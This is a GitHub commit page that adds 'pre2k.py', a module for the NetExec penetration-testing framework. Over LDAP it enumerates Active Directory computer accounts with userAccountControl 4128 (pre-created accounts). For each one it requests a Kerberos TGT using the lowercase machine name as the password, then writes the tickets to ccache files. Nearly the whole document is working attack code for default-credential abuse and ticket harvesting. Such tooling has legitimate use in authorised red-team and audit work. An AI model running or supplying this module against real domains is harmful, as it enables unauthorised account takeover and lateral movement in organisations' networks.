Skip to content

Commit 56feb10

Browse files
Identify Pre-Created Computer Accounts
Signed-off-by: Shad0wC0ntr0ller <90877534+Shad0wC0ntr0ller@users.noreply.github.com>
1 parent b855dac commit 56feb10

1 file changed

Lines changed: 151 additions & 0 deletions

File tree

nxc/modules/pre2k.py

Lines changed: 151 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,151 @@
1+
import os
2+
from impacket.ldap import ldap, ldapasn1
3+
from impacket.krb5.kerberosv5 import getKerberosTGT
4+
from impacket.krb5.ccache import CCache
5+
from impacket.krb5.types import Principal
6+
from impacket.krb5 import constants
7+
from binascii import unhexlify
8+
9+
class NXCModule:
10+
"""
11+
Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each pre-created computer account.
12+
Module by : @shad0wcntr0ller
13+
14+
"""
15+
name = 'pre2k'
16+
description = 'Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each'
17+
supported_protocols = ['ldap']
18+
opsec_safe = True
19+
multiple_hosts = False
20+
21+
def options(self, context, module_options):
22+
pass
23+
24+
def on_login(self, context, connection):
25+
try:
26+
# Initialize connection to LDAP
27+
context.log.info(f"Connecting to LDAP server at ldap://{connection.host}")
28+
29+
if connection.kerberos:
30+
ldap_connection = ldap.LDAPConnection(f'ldap://{connection.host}', connection.baseDN, None)
31+
ldap_connection.kerberosLogin(connection.username, connection.password, connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, aesKey=connection.aesKey, kdcHost=connection.kdcHost)
32+
else:
33+
ldap_connection = ldap.LDAPConnection(f'ldap://{connection.host}', connection.baseDN, None)
34+
ldap_connection.login(connection.username, connection.password, connection.domain, lmhash=connection.lmhash, nthash=connection.nthash)
35+
36+
# Define the search filter for pre-created computer accounts
37+
search_filter = '(&(objectClass=computer)(userAccountControl=4128))'
38+
attributes = ['sAMAccountName', 'userAccountControl', 'dNSHostName']
39+
40+
context.log.info(f'Using search filter: {search_filter}')
41+
context.log.info(f'Attributes to retrieve: {attributes}')
42+
43+
computers = []
44+
45+
try:
46+
# Use paged search to retrieve all computer accounts with specific flags
47+
paged_search_control = ldapasn1.SimplePagedResultsControl(criticality=True, size=1000)
48+
search_results = ldap_connection.search(searchFilter=search_filter, attributes=attributes, searchControls=[paged_search_control])
49+
50+
for item in search_results:
51+
if isinstance(item, ldapasn1.SearchResultEntry):
52+
context.log.debug(f'Raw item: {item.prettyPrint()}')
53+
54+
sam_account_name = None
55+
user_account_control = None
56+
57+
for attribute in item['attributes']:
58+
context.log.debug(f'Attribute: {attribute.prettyPrint()}')
59+
if str(attribute['type']) == 'sAMAccountName':
60+
sam_account_name = str(attribute['vals'][0])
61+
elif str(attribute['type']) == 'userAccountControl':
62+
user_account_control = str(attribute['vals'][0])
63+
64+
context.log.debug(f"Processing computer: {sam_account_name}, UAC: {user_account_control}")
65+
66+
if sam_account_name and user_account_control is not None:
67+
user_account_control = int(user_account_control)
68+
69+
# Check if the account is a pre-created computer account
70+
if user_account_control == 4128: # 4096 | 32
71+
computers.append(sam_account_name)
72+
context.log.debug(f'Added computer: {sam_account_name}')
73+
74+
# Save computers to file
75+
base_dir = '/root/.nxc/DiscoveredComputers'
76+
domain_dir = os.path.join(base_dir, connection.domain)
77+
output_file = os.path.join(domain_dir, 'precreated_computers.txt')
78+
79+
# Create directories if they do not exist
80+
os.makedirs(domain_dir, exist_ok=True)
81+
82+
with open(output_file, 'w') as file:
83+
for computer in computers:
84+
file.write(f'{computer}\n')
85+
86+
# Print discovered pre-created computer accounts
87+
if computers:
88+
for computer in computers:
89+
context.log.highlight(f'Pre-created computer account: {computer}')
90+
context.log.success(f'Found {len(computers)} pre-created computer accounts. Saved to {output_file}')
91+
else:
92+
context.log.info(f'No pre-created computer accounts found.')
93+
94+
# Obtain TGTs and save to ccache
95+
ccache_base_dir = '/root/.nxc/ccache'
96+
os.makedirs(ccache_base_dir, exist_ok=True)
97+
98+
successful_tgts = 0
99+
100+
for computer in computers:
101+
machine_name = computer[:-1].lower() # Remove trailing '$' and convert to lowercase
102+
if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir):
103+
successful_tgts += 1
104+
105+
# Summary of TGT results
106+
context.log.success(f'Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}')
107+
108+
except Exception as e:
109+
context.log.fail(f'Error occurred during search: {e}')
110+
111+
ldap_connection.close()
112+
return True
113+
114+
except Exception as e:
115+
context.log.fail(f'Error occurred during LDAP connection: {e}')
116+
return False
117+
118+
def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
119+
try:
120+
userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
121+
password = username # Password is the machine name in lowercase
122+
context.log.info(f"Getting TGT for {username}@{domain}")
123+
124+
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
125+
clientName=userName,
126+
password=password,
127+
domain=domain,
128+
lmhash='',
129+
nthash='',
130+
aesKey='',
131+
kdcHost=kdcHost,
132+
serverName=None
133+
)
134+
135+
self.save_ticket(context, username, tgt, oldSessionKey, ccache_base_dir)
136+
context.log.success(f'Successfully obtained TGT for {username}@{domain}')
137+
return True
138+
except Exception as e:
139+
context.log.fail(f'Failed to get TGT for {username}@{domain}: {e}')
140+
return False
141+
142+
def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir):
143+
try:
144+
ccache = CCache()
145+
ccache.fromTGT(ticket, sessionKey, sessionKey)
146+
ccache_filename = os.path.join(ccache_base_dir, f'{username}.ccache')
147+
ccache.saveFile(ccache_filename)
148+
context.log.info(f'Saved ticket in {ccache_filename}')
149+
except Exception as e:
150+
context.log.fail(f'Failed to save ticket for {username}: {e}')
151+

0 commit comments

Comments
 (0)